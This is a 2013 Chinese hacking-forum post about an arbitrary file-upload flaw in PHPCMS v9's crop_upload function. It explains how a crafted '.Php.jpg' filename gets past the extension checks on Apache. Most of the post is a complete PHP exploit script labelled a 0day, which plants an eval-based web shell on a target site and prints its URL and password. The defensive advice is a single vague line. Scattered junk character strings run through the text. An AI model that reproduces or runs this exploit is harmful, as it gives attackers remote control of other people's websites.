找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2337|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行9 f' M+ M. S0 S" V& Z% q2 ]

& {- ]3 Y' x& o; R/ Z简要描述:( G8 j6 E0 s# j5 y* c

; K* ^- }4 g' O/ A6 K& _phpcms v9 getshell (apache)0 i/ P7 d2 E4 ^3 G9 h
详细说明:# O8 |( J/ S8 ^. I4 u

% \2 G8 P% D) ^漏洞文件:phpcms\modules\attachment\attachments.php" l0 s& W  z. K0 v5 Q0 m: t
+ [4 H6 ~5 ~) ~* p0 \. C: E
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  } 1 M& W! d$ }0 C1 W* w6 n
后缀检测:phpcms\modules\attachment\functions\global.func.php+ G' j8 ~- R7 [
; Z% [& c* }/ x6 C
7 p0 s8 I% u' K, q* \2 R

; e% B$ G7 v4 m" K  N' v9 ]function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  - l5 _1 r8 O# _7 |2 v

0 L6 I" y1 p8 Q关键函数:4 W. ]2 T0 B; {. V6 w

' P7 Y$ v% `. l. z( D 2 n; m, \" I+ H: u! v* N: {/ f
! H7 p1 l  I# Z4 W1 @: I3 c
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
. z- l% h  m- f6 a: @  {+ ?& p% f  h# S& X7 @, t
  Fileext函数是对文件后缀名的提取。
' l! b$ H# \+ k" k4 ^4 ?根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" ?( h6 T% n! w. r' s* @- b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。! h7 z$ ?/ `' U& q9 X9 ]5 ]+ A% w
我们回到public function crop_upload() 函数中
& |3 b  G' t0 f0 Tif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();& w. I9 P( g# T7 b6 @' T/ [
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
, V. U% R& N% ?" f1 g! L$ j这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
  l1 ~& Q+ b- }, u$ q2 g经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。4 t4 i5 X1 n% X, Y
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。+ m  q! Z7 j$ t& p# L
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。% y8 [5 d9 [( C. G5 V' e
漏洞证明:
3 O* K3 ~/ W. ^3 H7 X
2 w5 D% ~! W( y) k5 Qexp:, ]- _2 y+ `6 J, T5 Y% u, K! u$ u- a

+ n2 M) e0 n2 t<?php: |3 m) t1 I* n0 S$ y
error_reporting(E_ERROR);
  V2 M# j7 {: N8 cset_time_limit(0);
1 q! P) {- a9 Y" F7 G, w5 c3 _  o$pass="ln";
+ v& Z# Q! y9 }" T& M, j5 iprint_r('
6 ]% V' j0 ?8 A+---------------------------------------------------------------------------+8 a/ s3 ]6 U6 E1 n3 g4 N2 q' |  A
PHPCms V9 GETSHELL 0DAY
  I1 a- j* ^! a: |  mcode by L.N.  D# h$ r4 o, K! t( p* w! Q" I
4 }3 I# r9 E& M* f6 q7 l
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net% z( w6 B% g( U7 @
+---------------------------------------------------------------------------+' p; F/ |4 _3 [* N' o/ p
');% v$ F, d( _, `% r8 ]$ r
if ($argc < 2) {* u$ d. g: U+ R8 D: p9 [& R
print_r('4 u, i  q3 V9 v( q5 c, W: F
+---------------------------------------------------------------------------+
, t8 t  C4 D; D2 \Usage: php '.$argv[0].' url path& j3 F4 J8 Y) O% o) Z: Q
0 S' Z' v# }+ C3 t9 z$ ]
Example:
; i9 B  n& i2 f* d1.php '.$argv[0].' lanu.sinaapp.com/ _9 u' L9 K6 @. N' G
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
$ h3 b$ r2 V/ @$ e6 y+---------------------------------------------------------------------------+) c  O/ ?& e, ]* Z
');
# G9 x1 w) x8 [/ R: T0 P5 Z9 nexit;
! r& X( j. N( ^% t}$ c- w; ~2 C; k3 N" S; E# I) C  c

3 Z, c' B! m" |8 H* }$url = $argv[1];
3 T1 r) O, s# y4 @6 @5 D$path = $argv[2];  u  _* J- e: X0 u' W; h% ^) D/ [: q
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';, h& W# l# P4 E6 x$ {6 z. n
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
9 N- `5 B4 H7 J0 X9 Xif($ret=Create_dir($url,$path))
& S/ X: p. w. x$ t" h+ _{
2 v- D/ G6 I3 a1 h7 i2 K# d0 v5 g//echo $ret;8 B4 `- i( c* ?
$pattern = "|Server:[^,]+?|U";
& v  \' }" w" ]! `! p# {preg_match_all($pattern, $ret, $matches);" P! ~9 Q( A- d5 K  G
if($matches[0][0]). @9 h& \* `3 T' ?, r6 O6 I4 _
{
% a( a4 J# g' j  f/ s. |# pif(strpos($matches[0][0],'Apache') == false), i0 O  B" L: ?8 @
{9 b" \' K0 r% ~9 r- J! ^
echo "\n亲!此网站不是apache的网站。\n";exit;
7 {6 L/ b1 X0 k}6 Z1 X$ W, G7 M) {3 J5 V" E: j; |
}9 K' V/ ?/ }. y3 W. B
$ret = GetShell($url,$phpshell,$path,$file);+ O% l8 ]* E. {! R0 S* }6 D! R( _
$pattern = "|http:\/\/[^,]+?\.,?|U";
2 t2 m! |' Z2 E, X$ |preg_match_all($pattern, $ret, $matches);
/ R! @8 P, _& I" d1 T& ~if($matches[0][0])
3 {0 n9 g  n9 b5 w  [/ y/ i{
! B1 b: {6 ?+ a- c, A+ E- y. Vecho "\n".'密码为: '.$pass."\n";, u: o% q! n+ C; Z4 _# |
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
; a* z8 D: i/ S# ~& l0 d4 Q}
9 B# U3 a  _0 L0 L* F, H$ Z! Belse
8 d  I. }% h% B2 ~( ~{/ B8 n& M; Q' o/ t. U+ k
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";$ T+ s  a4 p6 ~7 M; \
preg_match_all($pattern, $ret, $matches);
$ S( O2 d$ E) n/ Z! Iif($matches[0][0])
! T# a# k# Y8 ~4 v# J{
0 N1 b7 N7 \, l! h8 recho "\n".'密码为: '.$pass."\n";0 h8 n# l* `2 y
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( ]0 h+ e& y8 S" c$ M" c9 F$ }
}6 H0 I% d  t+ d5 l6 q/ }. P
else
3 W; W/ M) V# {) L5 L{5 r! g& W- V6 M. s0 T; q+ t) z
echo "\r\n没得到!\n";exit;; ^. {$ s. U' e7 `
}  f7 ]( V  ]" o0 y0 I  F
}& w: P! e' ?) Q9 C% J- d/ m
}0 d$ \* r& v; A) d
, {- f# g9 ?0 n0 o
function GetShell($url,$shell,$path,$js): I6 P% `/ u0 y+ O; X' v) }7 n$ M9 O
{
' \) E! U! w$ e4 e" M& P$content =$shell;
2 g: ~. R+ D( C4 K' i: S* d$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";5 h$ h7 u4 n& G, @% B1 j/ J3 b6 H
$data .= "Host: ".$url."\r\n";
( F/ {8 L% o4 s6 y' D; w# S$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
6 ?" E+ N" \  M7 e& M( k# ?# v7 q$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";4 V/ d* h; ^% G/ A- z
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
9 {( ?& U+ I6 y1 U5 C$data .= "Connection: close\r\n";
, u  @* V0 m. _+ w1 A$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, o$ z% [0 N3 x: _$data .= $content."\r\n";
: o) [# E& g; ], D+ h, u$ock=fsockopen($url,80);
/ F  p  Z( p$ J& N. g* F1 Cif (!$ock)
- C2 ^8 O) I. J7 K{
0 o7 X) n: i! X" S; Wecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;5 H+ _2 i8 ~3 h
}" b. c5 C; ]7 Q
else8 M0 @/ k5 ~1 j" ^/ _- x& m4 T) G
{3 c; R9 @- V6 V% z# B
fwrite($ock,$data);4 D+ U' T3 i' o8 D& X
$resp = '';( `& a1 l( G" q& `0 F
while (!feof($ock))
% @) r0 r7 ?5 ?- b& f- @0 y{
5 z  {- j4 L- T; |9 K$resp.=fread($ock, 1024);
/ c5 w; U- k" r  U- p% l}1 s" L. N5 J4 N, N- r9 x- `
return $resp;
) m; Q+ ^* h+ H0 ^1 w0 ]- z}" B( @; b3 d" T' A; w
}
: r7 M/ B/ l, d. a0 J2 B8 o0 r5 {7 t7 G- u) t, E
function Create_dir($url,$path='')+ F* B! ~) x4 O8 V# a
{
8 B# z8 M6 y, V$content ='I love you';
3 y, y7 h9 E+ Z$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
5 @$ B: \. |& j$data .= "Host: ".$url."\r\n";8 I7 \  I6 }( Y" H
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 {: @# E: `( J+ e$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( G% s& P% @. g* E. W$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";, p; D9 b$ Y& \# x# N+ i
$data .= "Connection: close\r\n";
- I0 H9 P9 f1 B/ x' s9 \, ^% O$data .= "Content-Length: ".strlen($content)."\r\n\r\n";  x# W# k. e- d% u6 b% [
$data .= $content."\r\n";
  w* J0 b/ M$ Y3 h$ J; L. J; r$ock=fsockopen($url,80);
- o# H! R" ]& Bif (!$ock)  O/ Q8 d9 J* W- Y8 c2 T" w0 O3 {
{
7 @  y3 T7 Y# W  W3 qecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& y" g' z, t; y0 a! m
}
8 h  f/ l- C' X# }+ }fwrite($ock,$data);
. i8 p$ {( F, a8 ^$resp = '';
! C3 n1 R' t) c3 V$ y6 Q. r% Fwhile (!feof($ock))3 W. h3 f: L! f  {
{
5 D* u- N4 A9 _$resp.=fread($ock, 1024);
" _6 V2 d7 m; M7 \- F# z$ W}
* F# |7 y7 R3 ]) P% yreturn $resp;
) t) N" y  ?, N! Z}
' [) M  j. ~5 o0 m! k; e9 A* a' O?> ! H/ |" J( Z  J* o, U+ B- a3 [

4 Z0 E! J* Y* c2 l" `修复方案:
0 p* ~( r! H2 c' i" m7 N8 D1 Q3 u3 _, Q  t" o9 J" Q
过滤过滤再过滤( D( |! S4 u* Y8 E" K
% p1 ~. m4 u6 k+ w3 b- ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表